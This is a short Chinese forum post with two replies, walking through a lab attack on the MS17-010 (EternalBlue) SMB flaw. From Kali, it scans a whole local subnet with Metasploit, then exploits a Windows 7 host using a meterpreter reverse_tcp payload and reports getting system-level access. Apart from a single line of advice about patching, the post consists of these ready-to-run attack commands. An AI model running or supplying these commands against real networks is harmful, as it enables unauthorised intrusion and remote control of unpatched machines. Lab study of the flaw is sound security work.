ms17-010实战

libo

[md]> ms17-010 可以说是当前影响最大额一次漏洞了。在各个领域都受到了不少的冲击。今天我们一起来了解下！


### 环境

* kali Linux
* win7(靶机)

### 漏洞扫描

```
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.123.1/24 #扫描整个局域网
exploit
```

如上，我们发现在局域网中，设备 `192.168.123.66` 存在 ms17-010 漏洞。

### 漏洞利用

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.123.66
set payload windows/x64/meterpreter/reverse_tcp
exploti
```

成功拿下系统权限。

### 防御

请及时更新系统补丁，和安装安全软件进行系统检查。
[/md]

libo

漏洞虽然早就过时了，但是研究的心态却从未停止。:daxiao:

莫言

新手支持下！